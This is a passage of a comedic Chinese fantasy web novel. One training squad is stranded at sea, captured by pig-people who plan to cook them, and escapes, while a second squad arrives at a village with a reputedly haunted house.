她拿起望远镜朝着周围的海域看了一眼,又放下了望远镜闭上眼睛,脸上没有一丝波澜,早就习惯了这种绝望。
闭上眼睛的那一刹那,忽然脑子里如电光闪过。
不对,她刚才好像看到了海上有一团黑点。
她迅速握住望远镜,身子跪直了往远处看去,的确!东南方向是有一块不规则的黑点!
沉寂的心脏如同活动的火山一般差点喷发了,她将望远镜调转过来朝着镜面哈了一口气,使劲在衣襟上擦了擦,再次对准那个方向看去,黑点已经越来越清晰了,隐隐约约还能看到岛屿上成片的绿色。
“卧槽……”
盛祁星跪在船头不敢相信自己的眼睛,将望远镜拿下来又架上去,一连看了七八次终于确定远处的岛屿不是自己的幻觉,嘴角重新勾起不可一世的笑意,一拳捶在船舷上。
“他奶奶个爪的!老天爷你也太损了,差点要了我的盒钱啊……”
攒足了力气调整航行方向,马力全开往岛屿冲去,航行中的船只缓缓靠岸抛锚,苏潋影察觉到情况有变从船舱里走了出来,看着眼前苍翠欲滴的热带雨林人都傻了。
盛祁星回头笑道:“还愣着做什么,找水啊。”
苏潋影目瞪口呆后朝她竖起了两个大拇指,由衷地服了:“真有你的……”
两人上了岸往丛林深处走去,看着地上动物留下的爪印往低处走,时不时凝神听着丛林中的动静,不多时拨开层层蒲扇那么大的叶子,看到了一大片湖泊,倒映着
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蓝天白云、参天古木和各种五颜六色的艳丽花朵,岸边的水鸟对着镜子似的湖泊梳理着自己的羽毛,两只梅花鹿埋头舔着干净的湖水,远处还有野鸭子在凫水,一派宁静祥和……直到两人尖叫嘶吼着冲过去,优雅喝水的梅花鹿前蹄一打滑差点扎进水里,一个急转弯翻蹄亮掌撒腿就蹽,相亲相爱的一对野鸭子扑棱棱扇动翅膀各奔一方,真诠释了一个夫妻本是同林鸟,大难临头各自飞。
盛祁星和苏潋影跪在岸边,捧起水小口地喝着,一连喝了七八口才无力地躺在了岸边,仰望着头顶的蓝天白云,只觉得恍若隔世。
盛祁星侧头看向苏潋影,嘴角的水差点流出来,深深咽了一下叹道:“用一句话形容一下我现在的心情……”
苏潋影有气无力地长叹道:“兮忽间轻生丧命,打新春两世为人啊……”
盛祁星连声感叹:“啊对对对,不愧是小师叔带出来的兵,真有文化,歇够了就起来干活吧,船上那仨都快枯萎了。”
两人爬起来解下了甩在岸上的一串竹筒,满满地打了水,咣当咣当拎着往船上走,拔开了塞子往仨人嘴里灌水,唐书戏最先醒来,也顾不上问哪里来的水,双手发颤抱住了竹筒,盛祁星见他有意识了将竹筒交给了他,嘱咐道:“别着急,小口喝,我们靠岸了。”
说着已经大步迈进了船舱里,扶起了奄奄一息的胖子,将倒进碗里的水拿小汤匙一点点喂给他,胖子起先喝不进去,只能用水给他润湿嘴唇,水滴滑入喉管后他逐渐恢复了神智,努力吞咽了起来。
苏潋影也同样给江荀喂水,火烧般的嗓子得到甘霖之后,他缓缓睁开了眼睛,看着眼前的人有几分愧疚,更多的是感动,嗓音沙哑道:“对不起啊苏苏……居然还要你照顾我,师兄真的好没用啊……”
苏潋影摇摇头,继续给他喂水,江荀却侧头躲开了汤匙,低咳了两声,哑然道:“不用了,我现在感觉好多了……”
苏潋影将他的脑袋重新扳了过来,无奈一笑:“好了,你不用省着,我们靠岸了,水有的是,跳进去洗澡都绰绰有余。”
江荀听闻此言愣了好久,喜极而泣,一起身紧紧抱住了苏潋影,不停在她耳边重复道:“太好了苏苏,太好了……我们都得救了……我们没有死……”
苏潋影笑着拍拍他的背:“是啊,我们吉人自有天相。”
胖子也是眼泪纵横,看着抱在一起的江荀和苏潋影,又瞅瞅站在床边的大师姐,一脸诚恳地张开了双臂:“大师姐,苦尽甘来,要不我们也庆祝一下?”
“吃饱三天想窦娥是吧?”
啪——一个竹筒砸进了他怀里,砸得胖子龇牙咧嘴。
“醒了就自己喝。”
她转身就进了自己的房间,不一会儿提着一个小包袱出来了,拍了一下苏潋影的肩:“洗澡去吗?老天爷,半个月了我都受不了自己身上这股死味。”
胖子连忙反驳:“哪有,大师姐身上只有香味——”
大师姐一个眼刀射过来胖子连忙低下头假装自己是空气,苏潋影点点头去收拾东西,两人一起又下船走向了湖泊。
72. 第一师姐
眼看日落西山两人还没有回来,胖子瞅瞅江荀:“要不我们去看看吧,不会出什么意外吧?”
江荀脸都红了,咬牙给了胖子一拳:“说什么呢?小心大师姐知道扒了你的皮!”
正说着外面一阵说笑声,两个姑娘手挽手回来了,船上三人皆是眼前一亮。
只见盛祁星从头到脚焕然一新,披散着及腰长发,靛夜青的中衣,下摆扎进了紫白间色的八破裙里,外面套了一件短襟的白色团花小马甲,朵朵月白色昙花活灵活现,随着走动坠在衣襟上的一圈小珍珠左右摇晃……
胖子口水差点流出来:“哎呀!大师姐你这身衣服真漂亮!”
盛祁星一个白眼翻上去:“用得着你说,我家师尊挑选的衣服当然漂亮了。”
她回房间梳理头发去了,苏潋影看着吃瘪的胖子摇了摇头,将竹篮子里的湿衣服拿出来找地方晾晒,江荀几步走过来帮忙,看着发丝潮湿的苏潋影脸颊有些发烫,姑娘身上散发出的香味有些醉人,低咳两声没话找话:“这几天多亏你照顾我了。”
苏潋影在船上找了根绳子,提着那篮湿衣服下了船,她多乖巧伶俐,自然知道江荀对自己的心思,回头一笑:“江师兄,你不用忙了,这点小事我自己就能做好,你们休息好了也去沐浴更衣吧,湖泊就在前方不远处。”
奈何江荀没听出来言下之意,还以为苏潋影在关心自己,点点头钻进船舱里找换洗衣服去了。
临走前悄悄对苏潋影低语:“等我回来煮粥给你吃,你别亲自动手啊,我很快就回来。”
苏潋影但笑不语,好好好,你舍得死我就舍得埋啊,委婉拒绝听不出来怪谁,以后有你哭的。
天刚擦黑的时候三个人回来了,提着湿漉漉的衣服勾肩搭背、说说笑笑,胖子将三人的湿衣服都搭在了苏潋影系好的晾衣绳上,捂住肚子开始呻吟。
“哎呀,快做饭吧,我都要饿死了!”
我们大师姐是不可能做饭的,这辈子都不可能,因为之前试过一次,切莲藕好悬把自个手指头一起切下来,匡月再也不准她进厨房了,生生埋没了徒儿的厨艺天赋。
看着江荀和苏潋影两个人围着锅碗瓢盆忙前忙后,盛祁星忍不住长叹:“果然是人无完人,要不是我师尊横插一脚,我现在岂不是十全十美了?”
为了防止她亲自掌勺浪费稀缺的食材,其他人紧着劝。
“呵呵,你已经够十全十美了,太满则亏,太满则亏啊!”
“是啊是啊,大师姐,君子远庖厨,这些活让我们来就好,您那纤纤玉指是用来指点江山、宏图大志的!”
大师姐幽幽叹息:“那好吧。”
她将束起的高马尾揽在手中,因为实在无聊就编了个辫子。
胖子双手托腮看着美人编发看得赏心悦目,做饭的两个厨子差点气冒烟。
这倒灶的玩意儿,一点忙帮不上也就算了,围着锅台你还编起头发来了,掉锅里是想谋害谁啊?
好容易是用仅剩的一点小米煮好了半锅粥,一人舀了一碗轻轻啜饮着,谁也没有说话。
大家吃饱喝足后盛祁星敲敲船舷:“来来来,开会开会。”
众人一股脑儿凑到了她跟前,大师姐一脸严肃道:“跟你们说个事儿啊,现在我们的航线有变,靠岸的这个岛我也不知道是哪里。”
她站起来,声音陡然提高,又开始眉飞色舞地给船员们下迷魂药。
“没错,各位,我们脱离了门派原本给我们指定的航行路线,按图索骥、按部就班有什么意思?这是一场全新的冒险啊,所有的情况都是未知的,接下来我们会有什么样的奇遇呢?相信你们跟我一样期待!那么,船员们,今夜就让我们好好休整一晚,养精蓄锐迎接明天的冒险吧!”
鸦雀无声,大师姐慷慨激昂的演讲顿住,冷眼扫了一圈,雷鸣般的掌声、喝彩声识趣地响起。
“好!说得好!”
“荒野求生,挑战极限!”
“不要怂就是干!”
“风浪越大鱼越贵!”
船长满意地点点头:“我先去睡觉了,你们也早点休息,记得把锅洗了。”
大老爷一走底下的狗腿子们怨声载道。
“还所有的冒险都是未知的?怎么死的也是未知的。”
“嘘,小点声啊,大师姐人睡着了耳朵也放着哨呢,让她听见我们都吃不了兜着走……”
“胖子你这刷的什么碗?不知道的以为你又给我盛了一碗粥呢,能不能认真点,靠,我再也不跟你一个锅吃饭了……”
一夜无书,待到天明众人各自洗漱,不一会儿早点又做好了,苏潋影看着碗里的小米粥实在没什么胃口,胡乱对付了两口就算完,不止是她,其他人也都个个面如菜色,都是大小伙子一天三顿小米粥谁顶得住。
船长叹了口气:“今早就先将就着,吃饱了咱们在岛上探索一下,昨天我还看到湖里有对野鸭子呢,小是小了点,逮起来盐焗了给大伙儿打打牙祭也好。”
胖子一想能吃烤鸭口水就兜不住了,连忙站了起来:“那还等啥!”
江荀看着一群眼睛发绿的队员小声劝道:“那是鸳鸯,不是什么野鸭子,吃它们不太好吧?”
苏潋影攥紧了拳头,有心撬开这兄台的脑壳看看是不是让野菜糊死了,但面上笑嘻嘻道:“欸,江师兄,格局小了,坊间不流传着那么一句话嘛,苦命鸳鸯苦命鸳鸯的,它们被炖了只能说明是命不好,下辈子多吃点糖就不苦了。”
其他人纷纷附和:“小师妹高见啊!有理有理!”
四比一江荀也只好认输,但打定主意绝对不吃鸳鸯,也不能让小师妹吃,一定要努力打一点别的野味吸引她的注意力。
盛祁星伸了个懒腰,想起点事儿来:“不过我昨晚睡着时老是听见船外面有动静,就好像是猪拱地一样,你们听见了没有?”
大家都摇头,不约而同地叹服,大师姐还真是睡着了耳朵都在放哨啊。
盛祁星也不再纠结此事,反正兵来将挡水来土掩,干他丫的就完了。
这般生猛的历练小队着实罕见,以至于十个月后给师门交历练总结时惊掉了清言堂一众峰主的下巴。
这是历练去了还是开荒去了?险象环生,打的都是毫无准备之仗,好几次差点
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全军覆没,光是看着那些经历都血压飙升,有心将小组长喷个狗血淋头吧,但人家这支历练队伍又的确是成长最快、最优秀的,甩了其他小组十万八千里,也就叶斐带的那支队伍尚值得一提,但跟盛祁星一比还是逊色不少,所谓天才大概也就是这般了吧。
峰主们大致分析了一下,还是觉得如今的历练成果皆由小组长的性格决定,叶斐一向沉稳可靠,几乎是在保证队员们足够安全、且能全身而退的情况下才出手,鲜少越级打怪,而且一直给队员们兜底,有他在队员们虽然不会有生命危险,但个人的潜力被激发得不够。再反观盛祁星,带着一群人哪儿崎岖往哪儿拐、哪儿危险往哪儿踩,完美诠释了什么叫置之死地而后生。
最后掌门拍案下了论断,或许从当初盛祁星据理力争要去海外历练之际,就已经赢了其他人一大半了,自古英雄出少年,梵净山第二十三代仙门首席舍她其谁?
且说这五人,下了船走向湖泊附近,今天水面上甚是冷清,让人有些泄气。
江荀道:“幸亏带了鱼竿,不如钓几条鱼吧。”
盛祁星和苏潋影都是大失所望,但还是想碰碰运气,结伴沿着湖畔往远处走去。
唐书戏连忙喝道:“别走远了!找不到就回来!”
“知道了!”
胖子左瞧右看,发现草丛里有一点朱红色,扒拉开了发现是一些野浆果,乐得合不拢嘴,边大快朵颐边往竹篮里摘,含糊不清道:“太好了,有这些野果用来当佐料刚刚好……”
这边的草丛里采集光了,胖子又往远处走几步,乐呵呵拨开半人高的草丛,果然看到了大片的野浆果,伸手探向一只果子的同时,一只只有两个指头的手也按住了果子……
两声惨叫几乎同时划破长空,所有人迅速朝胖子那边赶去,只见野果洒了一地,竹篮子也滚进了湖里,胖子跌坐在地上浑身颤抖着,指着正前方倒塌了一片的草丛。
盛祁星看着那片东倒西歪的草丛,目光一直延伸到丛林深处,笑着问胖子:“看见鬼了?”
王天雨差点哭出来,惊魂未定,磕磕绊绊道:“不是,是一只猪……猪人……”
唐书戏听得云里雾里,恨不得掐着胖子的脖子问个明白:“到底是猪是人啊?你看清楚没有?”
王天雨欲哭无泪,在脸上狠狠搓了几把才冷静下来,努力回忆着刚才的惊魂一瞥。
“那东西蹲在地上采果子来着,看逃跑的姿势像是人,但的确长了一个猪脑袋,大耳朵、短鼻子,还有尾巴……它们会不会吃人啊?就跟那群海夜叉一样?”
盛祁星摸着下巴笑道:“放心吧,刚才那家伙叫得比你还惨,应该是怕人的,真可惜啊,居然是个猪人而不是猪,不然就可以吃红烧肉了。”
话音刚落地面忽然一阵颤动,丛林深处尘土飞扬、枝叶乱摆,脚步声腾腾腾响起,众人齐齐往后退了几步,烟尘散去就见一大群人身子猪脑袋的怪物一字排开站在了眼前,虎视眈眈盯着五个不明来客。
其中一个猪人指着王天雨叽里呱啦说了句什么,其余猪人各个目露凶光,吱哇乱叫举着手里的石刀石矛就冲了过来。
73. 人在江湖
四个人齐刷刷看向盛祁星,船长不慌不忙下了命令:“开火!注意别打死了啊!”
“明白!”
于是齐刷刷收起刀剑利器,赤手空拳跟猪人们打斗起来,三五个回合后猪人们哭爹喊娘四散奔逃,其中有一个边跑边喊:
“风紧扯呼,马前点!”
“瓢把子,这有个空子太扎手,我们都让她给鞭了!”
这下差不多听懂了,但还是不太懂说的什么玩意儿。
江荀有些发愣看着许久不见动静的丛林:“这就完了?”
盛祁星坐在了湖边一块卧牛青石上:“哪有那么简单,小孩被欺负了不得回去叫家长啊?”
你管这叫小孩?我现在都怀疑它们吃小孩……
船员们欲哭无泪,不一会儿又见丛林里烟尘滚滚,浩浩荡荡的猪人队伍又出来了,这次简直是倾巢出动,而且中间还多了一个明显比其他猪人魁梧了不少的头领,两根獠牙支出唇外,先上勾起,看着就瘆人,胸口是密如乱麻的护心毛,腰上围了一圈树皮。
历练一组不敢小觑,浑身紧绷盯着对面,这时猪人首领打破了沉默,上前一步抱腕拱手:
“并肩子,道个万儿吧!”
众人皆是一懵,你看看我我看看你,就见苏潋影上前两步也是一拱手:“五经四万儿。”
盛祁星眼珠一转也是抱腕拱手:“财源茂万儿!”
野猪头领挑了挑眉,继而哈哈大笑:“门清,寨里请!”
于是唐书戏等人懵登转向跟着往山寨里走去。
说是山寨其实是一座山崖上凿出了成片的窑洞,外面还有花草树木遮掩洞门,里面桌椅板凳俱全,真可谓是庙小乾坤大。
猪人头领回首看向苏潋影:“不知你们的首领是哪位?”
苏潋影一指某人:“那个穿白色小马甲的就是了。”
猪人头领闻言大喜,连忙朝盛祁星作揖:“哎呀,这位首领,实不相瞒,我乃乌金国国王,不知几位从何处而来,要往何处而去呢?”
盛祁星听了这话差点顺口接下去了,“贫僧”两字临到嘴边一拐弯:“咳,我等从婆娑九洲而来,此番飘洋过海本是想去靖人国,谁知初来乍到在海上迷失方向,流落至贵宝地,原来此处是乌金国啊,今日一见果然是名不虚传!”
这两领导人在前面商业互吹,后面跟着的苏潋影等人忍不住低声吐槽。
真尼玛能装啊,还名不虚传,你不是说人家都是弹丸小国吗?里面的人都是土著、野猴子?脸呢?
接下来就是大排宴席,洗干净的树皮里盛满了各色各样的菜肴,山中走兽林中燕不必再提,还有红烧肉是不是过分了?你们狠起来连自己的同胞都吃吗?
要不是盛祁星拿馒头堵住了胖子的嘴,那家伙已经将面前一碟红烧肉扫荡一空了。
猪人首领坐在首席,举起大木头酒碗来敬了一圈,嘴里哼哼唧唧:“来来来!都别客气,放开了吃喝,酒肉有的是!远道而来的朋友们,一定要吃得尽兴啊!”
纵然东道主热情好客,然而远道而来的朋友们只敢吃点土豆子熬白菜。
等再抬起头时看到周围那些食客的桌面上已经空空如也了,猪人们拍着桌子,嘴里食物渣滓乱飞,叫嚷着:“上菜!怎么还不上菜!”
站在两旁服侍的随从们立刻跑出去催菜,许是吃红了眼,后来干脆不用碟子吃了,个顶个端着铁锅炫,旋风的筷子铲车的嘴,还没看清锅里到底是什么玩意儿人家那边已经见底了。
活了小半辈子哪里见过这种稀奇罕,远航小分队手里的馒头差点掉地上,看着他们吃饭都感觉一阵阵反胃,盛祁星和苏潋影实在是受不了了,借口出去透气暂避一时,反正也吃得差不多了,再多看两眼害怕自己吐出来。
走到外面小风一吹感觉神清气爽了不少,正在欣赏岛上的自然风光忽听一声惨叫,确切来说是小猪的叫声。
盛祁星的耳朵十分好使,与苏潋影对视一眼,循着声音往山洞后面转,这座石山上都是被猪人们凿出来的洞窟,前面是吃饭休息的地方,后面是烧火做饭的地方无疑了,只听得锅勺敲击之声不断,庞大魁梧的厨师正在里面忙着做菜,身上大汗淋漓如同蒙了一层亮晶晶的油,那汗水顺着他胖白萝卜般的胳膊往下流,一直流进了锅里。
盛祁星差点吐出来,心里直骂娘,得亏她没有吃那些炒菜,不过吃他们做的馒头也够恶心人的,谁知道他们有没有洗手啊!
一只白白胖胖的小猪啰在另一只成年猪人手里惨叫着,被他倒提起后腿。看到锋利的刀刃对准了自己,小猪吓得摇头摆尾,尖叫声简直要穿透人的耳膜。
盛祁星暗骂一声,这些猪人是疯了吗?怎么连自己的同胞都能下此毒手?
说时迟那时快,盛祁星左手一甩七星弩对准了那个屠夫举刀的手,嗖——啪嗒——扑通——后厨一片大乱,屠夫的刀转着圈飞了出去,差点砍掉了厨师的脚,屠夫本人抱着剧痛的手哀嚎不止,发现杵伤自己的东西居然是一根筷子,气势汹汹去打骂洗碗的女猪人,连踢带打,女猪人在脏水坑里滚来滚去、尖声惨叫。
苏潋影趁机甩出玉骨鞭,鞭尾卷住了小猪的一只蹄子,将掉在地上的小猪拽了出来。
还没心没肺地安慰人家呢。
“小宝宝别怕,姐姐们救你出去。”
将小猪揣进怀里刚准备逃跑,就见怀里的小猪蹬着腿这通惨叫啊,好像比挨刀子了还激动,嗷嗷地喊:
“来人哪!救命啊!”
败家小孩的喊声的确是尖锐,不多时一群猪人将盛祁星、苏潋影团团包围,手里拿着烧火棍、擀面杖,气势汹汹瞪着她们。
小猪趁机将脑袋从苏潋影臂弯下挤了出来,三扭两扭窜了出去,跳下来屁颠屁颠跑到了厨师面前,献宝似的指着刚才救了自己的两个人:
“爹!我抓住小偷了!我是不是帮你们大忙了?这下可不可以不吃我了?”
厨师听了这话嘿嘿笑了起来,又是反手将地上满怀期待的小猪从后腿上提了起来,在它惊恐的目光中,将它丢给了屠夫,小猪的脸憋成了紫茄子色,两只小眼睛染上血色紧紧盯着自
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己的老爹,两腮鼓胀起来仿佛灌满水的羊皮袋子,发出了刺穿人耳的咆哮。
盛祁星和苏潋影被震得捂住了耳朵,没听见小猪吼叫了些什么,屠夫手起刀落刺穿了小猪的喉咙,将它扔进了开水锅……
苏潋影还想动鞭子冲出包围圈,忽然发觉自己全身无力,盛祁星似乎也感觉到了,原本镇定的表情霎时阴云密布。
刚才的饭菜原来被下了东西吗?
也对,海外多的是奇花异草,譬如无可解的海夜叉之毒,也怨不得他们察觉不到。
双双被缴械扔进了牢笼之中,跟同样全身瘫软无力的唐书戏等人会合了。
不多时,猪人们的餐桌上多了一道金灿灿的烤乳猪。
他们大快朵颐着,吃得满嘴流油。
猪人首领哈哈大笑,一手举着一个猪肘子,左一口右一口,唇边稀稀疏疏的几根胡子上沾满了猪油,他眯缝着皱纹堆叠的两只眼睛,嘴里含糊不清道:“明天继续开宴!吩咐下去,那俩女人,细皮嫩肉的不能糟践了,切馅儿包包子、那三个男的炖成鲜肉汤!”
已经猜到自己沦为食材了的五个人呆呆坐在木制的笼子里,旁边有四个拿着长矛的猪人看守着。
他们倒也不慌,等药效过去了就这群乌合之众不够盛祁星一个人打的,但问题是不知道这乌金国有没有跟周边的一些国家有关联,万一把他们一锅端了,很可能引起别的国家一起围追堵截,到时候就真的腹背受敌了。
盛祁星想到这里朝四个人使眼色,没聊几句立刻引起了猪人们的注意,拿长矛敲着木笼子骂骂咧咧:“说什么呢?再要嘀嘀咕咕的当心你的脑袋!”
唐书戏灵机一动问苏潋影:“你是这么接上乌金国首领的话的?你以前来过这里?”
苏潋影悠悠道:“没有啊。”
唐书戏更纳闷了,抓耳挠腮,恨不得撬开苏潋影的脑瓜看看她卖的什么关子。
苏潋影从怀里摸出一本书抛给唐书戏:“这就叫知识改变命运啊,槐荫镇红线坊出版的《江湖黑话秘籍》你值得拥有!”
唐书戏一脸嫌弃,将书扔了回去:“最讨厌看书了,你直接说会死啊!”
苏潋影珍重地将书收了起来:“好吧好吧,其实这群人呢就相当于咱们九洲占山为王的强盗,他们见了生人都要对切口,也就是黑话,看看你是不是同道中人,典型的就是‘并肩子,道个万儿’,意思就是‘兄弟,贵姓啊’?”
唐书戏恍然大悟,看向了盛祁星:“大师姐,你也知道江湖黑话?”
盛祁星摇摇头:“不知道啊,我听苏苏说‘五经四’的时候就猜到了,五经四书嘛,‘书’念白了就是‘苏’,猜测可能是要委婉地报个名号啥的。”
把守牢笼的猪人们看他们聊闲天也不再理会,等到了亥时,四周一片漆黑,闭目养神的盛祁星感觉自己渐渐恢复了力气,一拳捶死镇关西不在话下,于是拿脚尖踢了踢队友们,大家一致点点头,也都身体恢复了。
按照盛祁星的计划,苏潋影敲敲木笼吸引了最近的一个猪人的注意。
74. 独孤求败
那猪人哈欠连天不耐烦地问:“什么事啊?”
苏潋影唉声叹气道:“大哥,中午吃太咸了,我口渴,能不能麻烦你们提点水来啊?”
猪人冷笑:“这么晚了上哪儿给你找水去?”
另一个猪人插嘴道:“看在他们明天就要死的份上,你去湖边给打点水吧,我们哥仨看着跑不了。”
“行吧行吧!”
那个猪人抱着五个竹筒走向了不远处的湖泊。
不一会儿提着水就回来了,挨个儿从木笼空隙里塞进去。
苏潋影接过一只打开塞子喝了一口,连声道谢:“多谢大哥了。”
“罗里吧嗦的,喝吧喝吧,等明天就送你们上路!”
苏潋影眼睛咕噜噜一转又朝外面道:“大哥,你人真好啊,为了报答你,我给你讲个故事吧?”
这猪人一听竖起了一只大耳朵:“哟,你还会讲故事啊,行啊,待着也挺无聊,你说来听听。”
苏潋影就开始绘声绘色地讲起来了,盘着腿坐在了木笼最前面,尽可能挡住了后面的几个人。
“在很久很久以前,有一位顶天立地的大英雄,说起来还跟你们颇有渊源呢。”
这猪人一脸惊喜:“还跟我们有关系,哎呀,你快跟我们讲讲!”
其他三个猪人也竖起了耳朵。
苏潋影摇头晃脑:“说起此人那真是了不得,站起来顶破天,坐下来压塌地,他就是大名鼎鼎的天蓬元帅猪悟能,想当年统领十万天兵,他喜欢那个嫦娥你们知道不?就那嫦娥,啧啧啧,那都美得没边了,比花花自羞,比玉玉生香,早上一照镜子啪唧一下就得背过气去,怎么回事呢?”
苏潋影看了一圈一拍手揭晓答案:“被自己给美晕过去了!就这么惊世骇俗的容貌,你就想吧,想破脑袋都脑补不出人家万分之一的美貌!”
其余三个猪人渐渐凑了过来看着苏潋影,全都是一脸痴态,口水差点流成瀑布,其中一个含着手指头看向她,嘿嘿傻乐:“你就够漂亮了,那嫦娥比你还漂亮不成?”
苏潋影罕见地谦虚了起来,连连摆手:“说句你们不爱听的,你们这叫没见识,我跟人家怎么比?一个天上一个地下,她主将我是兵,她是月亮我是星,她是主犯我就是帮凶,她是茄子那我就是洋葱,也就是嫦娥天天住在月宫里了,要是她下凡溜达这么一圈,呵!像我这样的就得趴地上给人家磕头,我都没脸见人,钻屋里连大门都不敢出!”
猪人们齐齐捧着下巴望着她,已经神游天外了,个个发出赞叹之声,仿佛已经飘到月亮上与女神共舞了。
盛祁星等人抓紧时间行动,三两下卸掉了几根木条从里面出去了,苏潋影继续胡扯八扯拖延时间,清清嗓子道:
“嫦娥呢,平时就爱搞点文化艺术表演,像什么吹拉弹唱,演奏个高山流水啊、荷塘月色啊、月亮之上啊,唱歌也好听,就人家那个歌喉,怎么那么好听,听她说话简直飘飘欲仙,让人浑身轻松跟踩在云彩上没区别了。”
其中一个猪人哼哼两声连忙道:“你这么形容我们也想象不来啊,你给唱上两句呗!”
猪人们齐齐起哄:“对对对,小妹妹你给咱们唱两句吧!”
苏潋影抬手往下压压粉丝沸腾的情绪,颇不好意思地清清嗓子:“行吧行吧,既然大家这么抬举那我就献丑了。”
猪人们托着腮一脸期待。
“咳咳……啦啦啦啦啦,啦啦啦啦啦啦,啦啦…寂寞的人听着伤心的歌,只为寻找曾经的快乐,一遍一遍听着你会爱我,为何心中的泪更难过……”
苏潋影边唱边打节奏,唱到悲伤的词儿抬手假装抹眼泪,猪人跟着她欢快的歌声一起手舞足蹈,摇头尾巴晃的,果然是浑身轻松、飘飘欲仙。
四个偷武器、物资又绕回来的人看着眼前一幕人都傻了。
干嘛呢?小师妹给这群家伙下蛊了吗?看她那大开大合的手势,嘴里还吟唱着奇怪的调子,貌似只能这么解释了。
苏潋影这女声独唱也差不多快结束了,只见她在胸前来回摇摆的双臂忽然打开向两侧斜指:“……是否你从来没有被我感动过!”
歌手自我感觉良好地鼓起了掌,再一看前排的观众老爷们,各个被后排的黑粉楔躺下了。
江荀眸光亮晶晶地看着自己的偶像,由衷地夸赞道:“苏苏,你的巫术真厉害!”
盛祁星恨铁不成钢,回头瞪江荀一眼,都这个节骨眼上了,不抓紧时间逃命你隔这儿捧你六舅呢?
一行人顺着来时路跑到了岸边,幸亏七四幺号还在,猪人们果然被大米粥糊住了脑子,居然没想到扣下他们的船。
将搬来的淡水、物资统统搬上船,船长一声令下起锚开船,顺着风远离了乌金国的海域,众人这才松了一口气。
船长又招呼大家过来开会,坐在船舷上,右脚架在左腿腿面上抖得不亦乐乎,手里拿着一张羊皮图纸给大家展示,指着黄豆那么大点的地方介绍:“喏,这里就是乌金国,继续往东走,如果不逆风的话半个月内我们应该能到不死国,大家还有什么疑问嘛?”
王天雨举手,指着地图上两个明显被拐过去的国家:“大师姐,咱们为什么直接绕过靖人国和大人国了?”
大师姐不听则可,一听柳眉倒竖、杏眼圆睁:“多嘴!再问罚你三天不许吃饭!”
胖子缩回去了。
大师姐虎视眈眈瞟过其他人:“还有谁有疑问吗?”
剩余三人纷纷摇头,大师姐余怒未消:“解散,各干各的!”
众人诺诺连声,大气都不敢喘。
说完在海外游历的那一群人再说说留在九洲里的一支历练小队伍。
约莫是黄昏时分,黑狗村迎来了四个特殊的外乡人,两男两女,皆是相貌不俗、飘然若仙,其一人玉面青袍、七尺身高,儒雅温煦、观之可亲,走在最前面,两个女孩子走在中间,一个着一身黄衫,瓜子脸,清秀俏丽,另一个是一身粉衣,个头稍矮,温柔腼腆。最后是一个丰神俊朗的公子,春月里拿着一把扇子,然而他迈着四方步,行走在乡间小路上宛如在自家后花园里散步,竟没有半分违和。
这正是叶斐、穆晓晓、楚纤茉、郁霄一行。
小组长叶斐回过头来朝向诸位师弟师妹,温声道:“小师叔给我们制定的路线是一年之内从沁莲郡走到流光城,届时也差不多到仙剑大会了,不过我们走了两个多月了才完成四分之一的任务,接下来就需要加快进度了,如果能在五月中旬赶到鸢歌城大家就可以好好歇息一下了。”
众人齐齐应是。
不独是梵净山,各大门派几乎都在同一时间派出了门下部分优秀弟子外出历练,无非是想在仙剑大会前夕圈一波人气,让自家好苗子上个名侠榜、姝侠榜什么的,也好提前造势预热。
且说这一行四人,进村之后见家家户户大门紧闭,心里不免起疑,因为以前也经过不少山村小镇,不曾见过这种
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情况。
叶斐上前去敲了一户人家的大门,轻叩三下柴扉,却不见有人答应,其他人在围墙边看得清楚,里面小屋的灯亮着,纸窗上映出了一个女子的身影,听到敲门声后似乎是惊吓到了,起身紧走了几步吹熄了灯。
穆晓晓在外面看得分明,忙阻止叶斐:“算了吧大师兄,里面好像就一个姑娘家,大晚上的难免害怕,我们换一家吧。”
叶斐也觉得唐突了,连声对院子里致歉,正在这时,吱呀一声,他们身后一扇门开了,里面探出一个脑袋来,朝他们招招手,嘴里发出沙哑的声音,仿佛被大烟熏坏了嗓子。
“小后生,来来来。”
四个人相互看看谁也没有动,叶斐当先一步走了上去,借着月光一看,眼前老者穿着一身对襟团花长褂子,长脸、凸颧骨,右边嘴角上长了个大黑痦子,见叶斐过来他将原本拉了一条缝的门又打开了许多,露出了身后的院落,昏黄的烛光穿透纸窗照亮了院子,一个瘸腿的老太婆正在往笼子里赶鸡,时不时用觳觫的目光往门外偷看一眼。
那老头笑容满面道:“后生啊,你们是外地来的吧?”
叶斐点点头,一拱手道:“老丈说的是,我是河洛镇人士,带着弟弟妹妹要去投奔亲戚,路过此地天色已晚想在贵宝地借宿——”
话到这里那老人点点头,凑近一步变毛变色看着对门,压低声音对叶斐道:“公子啊,听老朽一句劝,千万别上对面借宿,那是个空宅子,里面可不干净啊……”
一句话说得叶斐也有些寒毛直竖,那他们刚才看见的姑娘是?
老人又道:“几位若是不嫌弃,老朽家里倒有两间空屋子,虽然没有山珍海味,粗茶淡饭管够。”
叶斐微微一笑深施一礼:“多谢老丈美意,且容片刻,在下去告知弟弟妹妹们一声。”
众人聚在一起,了解情况之后皆是陷入了沉寂,为在哪边借宿犯了难。
穆晓晓提议道:“要不就住那位老丈家里吧,难得人家盛情相邀,这里的人好像都不怎么欢迎我们。”
叶斐却摇摇头:“师妹你这句话自相矛盾了,若这村里所有人都不欢迎外地人,为什么独独这老两口反其道而行之呢?”
一句话点醒梦中人,穆晓晓不由地看向了那个依旧守在门口笑呵呵的老头,心里有些毛骨悚然了。
郁霄道:“那按大师兄的意思,我们真的要去身后的鬼宅住下吗?”
不待叶斐回答穆晓晓却较上劲了:“鬼宅又怎么样?咱们出来干什么来了,怕它们不成?”
叶斐却笑道:“师妹少安毋躁,我的意思其实是,鬼宅只有一个女鬼,对面两人暂且身份不明,知己知彼百战百胜,所以还是去鬼宅吧,大家以为呢?”
楚纤茉有些发抖,她最怕鬼了,但大家好像都没什么意见,也只能少数服从多数了,跟着师兄师姐一步步往那阴森森的鬼宅里走去,叶斐依旧满面笑容地回身去跟那老者说明情况,老人连连摇头叹气,在他们身后嘀嘀咕咕。
“好良言难劝该死的鬼,你们要去送命老朽也不阻拦了,哎……像你们这种不知天高地厚的年轻人我见多了,满口狼言大话,结果还不是命丧那女鬼之手……”
叶斐却不恼不怒,依旧对老人致歉,温声道:“若换六界真太平,何妨吾辈之血溅轩辕。”
说来也奇怪,刚才叫门时仿佛焊死了的门扇,这时候被一阵风吹开了,还是从里面打开的……房东很是热情啊。
75. 荒村鬼宅
这时候各位都客气起来了。
“师兄请。”
“欸,还是师妹先请,女士优先嘛。”
